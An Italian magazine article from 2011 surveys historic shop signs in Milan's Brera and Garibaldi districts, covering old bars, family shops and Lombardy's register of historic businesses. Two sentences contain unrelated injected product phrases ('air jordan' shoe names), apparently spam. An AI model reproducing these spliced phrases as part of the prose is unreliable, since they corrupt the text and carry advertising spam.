150 anni all’insegna della tradizione: breve viaggio tra le insegne dei centri storici d’Italia. Si parte da Milano…

di Redazione AIFIL[IN]FORMA - 13 giugno 2011
Classificato in: Cultura, Mondo Insegne, Reportage | Tag:

Per festeggiare i 150 anni dell’Unità d’Italia inauguriamo con questo articolo un breve viaggio tra le vie di alcuni fra i più importanti centri storici italiani, alla scoperta di insegne vecchie e nuove.

Partiamo da Milano e da due sue contrade dense di storia come Brera e Garibaldi, cercando di cogliere qualche passaggio dell’evoluzione culturale, stilistica e del costume nella più importante città del design a livello internazionale.

Già in un precedente articolo pubblicato su Aifilinforma parlavamo della storia di Milano e delle “luminose” di piazza Duomo. Uno sguardo al passato non esente da nostalgia per i valori e la realtà sociale che quelle insegne rappresentavano: una città imprenditoriale e soprattutto operaia, ancora piena di fabbriche di importanza internazionale e laboratori artigianali spesso annidati nei cortili dei quartieri storici. Una città di “gente operosa”, la cui tenacia ed intraprendenza sono diventate proverbiali passando alla storia in Europa e in tutto il mondo.

Era, quella Milano, una città densa di fermenti economici, air jordan 5 femmes culturali e sociali; avanguardia della nazione fin dai tempi del risorgimento, la cui civiltà e coscienza democratica accumulata seppero per lungo tempo reagire ad attacchi devastanti quali per esempio la strage di Piazza fontana: episodio fra i più odiosi di quella “strategia della tensione” tesa all’involuzione democratica di cui oggi constatiamo, inermi, le gravi conseguenze; una strategia di efferate azioni criminali attuate da frange fasciste colluse con settori reazionari dello stato italiano e della CIA.

Quella Milano ci appare oggi lontana e irrimediabilmente persa, soprattutto se confrontata con la successiva “Milano da bere” degli anni ottanta, dei “colletti bianchi”, della speculazione finanziaria ed edilizia e dalle connesse “mani sporche”, passate tristemente alla storia come “mani pulite”: la più grande enclave di corruzione e di malaffare mai scoperta in Italia nei 150 anni della sua riunificazione. Una Milano che oggi, addirittura, deve constatare l’emergere di una pericolosa penetrazione mafiosa.

Tuttavia alcune di quelle radici di operosità e attitudine al “buon lavoro” hanno resistito negli anni, conservando aziende dal tronco solido e creandone di nuove. Aziende che prosperano ancor oggi, pur avendo necessariamente cambiato identità e politica commerciale.

Può trasparire tutto questo da un’insegna? La nostra risposta è sì. Le insegne, apparentemente così marginali nella storia culturale e del costume, testimoniano la resistenza dell’antica Milano, a volte semplicemente ricordandoci e restituendoci le emozioni del passato. È il caso, per esempio, di locali storici come Taveggia, Cova, caffè Zucca in Galleria… tanto per citare tre bar storici del centro di Milano.

Iniziamo dunque il nostro piccolo viaggio inoltrandoci, per esempio, nel regno della movida notturna: molte insegne non sono affatto cambiate e passeggiando per le via di Brera e di c.so Garibaldi si sente forte il legame con la tradizione.

L’insegna del ciclista Rossignoli “resiste” dai primi del ‘900 e non è un caso che sia rimasta a rappresentare un’azienda/famiglia che, attualmente, sta facendo un ottimo uso dei nuovi mezzi di comunicazione (internet fra tutti) per promuovere la propria attività (www.rossignoli.it).

Anche l’insegna della salumeria di piazza del Carmine (oggi trasformata in gastronomia dai proprietari che per vent’anni hanno lavorato al bancone come dipendenti) è la stessa che i bambini di un tempo associavano al profumo di mortadella appena tagliata che le mamme infilavano nel panino della merenda.

Lo stesso dicasi di un’insegna come quella di Viel, da 60 anni nella memoria storica “gustativa” milanese con una variegata produzione di gelati e frullati; un’altra azienda familiare che, mantenendo intatto il marchio, riesce a preservare immutata anche quell’idea di cura artigianale e scelta dei prodotti freschi, che ha reso Viel famoso presso il suo pubblico, di generazione in generazione.

Va certo considerato il fatto che le insegne dei centri storici tendono ad uniformarsi all’architettura del centro storico stesso, spesso fingendosi d’antan anche quando non lo sono.

Prendiamo il caso della gelatoria Amorino, un esempio di made in Italy esportato all’estero e poi riportato in Italia. Questa gelateria ha fatto prima fortuna a Parigi, dove i proprietari hanno aperto lì la loro prima “boutique”; poi hanno deciso di tornare in Italia, e aprire un negozio nell’elegante via Fiori Chiari, quartiere storico di Brera. Come si può notare, l’insegna si integra perfettamente alla zona, e trasmette quei valori di italianità, tradizione e buon gusto che hanno saputo conquistare i difficili palati francesi.

E sempre a proposito di Parigi, le insegne al neon di alcuni bar e ristoranti di Brera, non sembrano ricalcare l’effetto visivo di una piccola Montmarte? Sarà perché il quartiere di Brera, che deve il suo nome all’Accademia delle Belle Arti, è da sempre considerato il quartiere degli artisti? O non è forse, più semplicemente, un modo per attirare il turismo straniero che, dall’Italia, si aspetta proprio quel tipo di atmosfera?

Caso a sé, invece, sembra essere il bar Jamaica. Un bar che non mostra alcun apparente appealing, dall’insegna essenziale, ma che nel corso degli anni ha saputo ospitare artisti e scrittori, che qui si frequentavano  fra una partita a scopa e un bicchiere di vino rosso…

Il bar Jamaica, inaugurato nel 1911, proprio quest’anno compie 100 anni e li festeggerà con una mostra fotografica di Ugo Mulas, che celebra gli anni in cui artisti come Tadini, Fontana, Manzoni, Bianciardi sedevano a chiacchierare animatamente ai tavoli. E magari si immaginavano un futuro tutto nuovo. Un futuro illuminato da quel nome così esotico, preso a prestito da un film di Alfred Hitchcok “La taverna della Giamaica” del 1939.

Un altro personaggio celebre, air jordan 6 femmes rivelatosi poi tetro e funesto, si è seduto ai tavoli del Jamaica immaginando il futuro: Benito Mussolini (allora direttore del “Popolo d’Italia”), che qui beveva il cappuccino mentre correggeva le bozze del giornale. Sparì una mattina del 1922 senza pagare il conto (come si legge nel sito http://www.localistorici.it dedicato ai locali storici d’Italia).

A una prima osservazione, le insegne di Brera e Corso Garibaldi, appaiono sobrie ed eleganti, con un’illuminazione prevalentemente esterna. Le insegne sono spesso sono gonfaloni o stendardi, magari abbelliti da lampioncini in ferro battuto, per creare un’atmosfera più soft e d’altri tempi.

E il ricreare quest’aria d’altri tempi, deve essere un’esigenza davvero molto sentita, visto che spesso viene mantenuta una vecchia insegna, nonostante l’attività commerciale sia di tutt’altro genere, come quella documentata nella foto: una ex-trattoria, trasformata in un negozio di abbigliamento e accessori.

Un esempio che non è prerogativa di Milano: il fenomeno di quelle che sono state soprannominate insegne “bugiarde”, a Genova spopola nei caruggi, tanto che è documentato sul blog www.centrostorico.genova.it. dedicato alle tante piccole curiosità del centro storico di questa città. Ma se per le vetrine di Genova viene da pensare a quanto si dice del rapporto dei liguri con il denaro (e, in questo caso, con gli investimenti sulla propria attività), per Milano viene più in mente un sentimento di malinconia per il tempo che fu, che fa lasciare intatte le insegne storiche anche in presenza di un cambio commerciale, e realizza – almeno nei centri storici- insegne che ricalcano fedelmente quelle della tradizione.

D’altra parte, non dimentichiamoci che la salvaguardia del patrimonio tradizionale dei locali storici italiani è tutelata anche a livello regionale perché proprio la Regione Lombardia ha previsto “un riconoscimento per quegli esercizi pubblici che, oltre a svolgere attività da almeno 50 anni, dispongono di ambienti particolarmente interessanti dal punto di vista architettonico, sono situati in contesti significativi e hanno uno stato di conservazione degli edifici che li rende vere e proprie testimonianze di un passato da ricordare”.

E per fare questo, dal 2008 la Regione Lombardia ha istituito il Registro dei Luoghi Storici del Commercio, un riconoscimento per le insegne storiche e di tradizione, i negozi storici

e le storiche attività (ulteriori informazioni su http://www.confcommerciolombardia.it/tool/home.php?s=0,1,4,210).

Un patrimonio tutto italiano che, nell’anno in cui si festeggiano i 150 anni dell’Unità del nostro Paese, è bene ricordare e valorizzare sempre di più, promuovendo una cultura professionale dei costruttori di insegne  che sia rispettosa dei valori storici ed estetici della nostra tradizione culturale ed artistica e delle caratteristiche peculiari di ogni centro storico, piccolo o grande che sia. Una cultura professionale capace di interpretare lo spirito autentico e unico della comunità che ha forgiato nei secoli l’unicità di ciascuna nostra città.

Il nostro piccolo viaggio in Milano e tra le insegne milanesi termina qui. Prossima tappa: Bergamo.

Chi volesse contribuire con foto, documenti o descrizioni delle insegne del proprio centro storico, può mandare una mail alla redazione.

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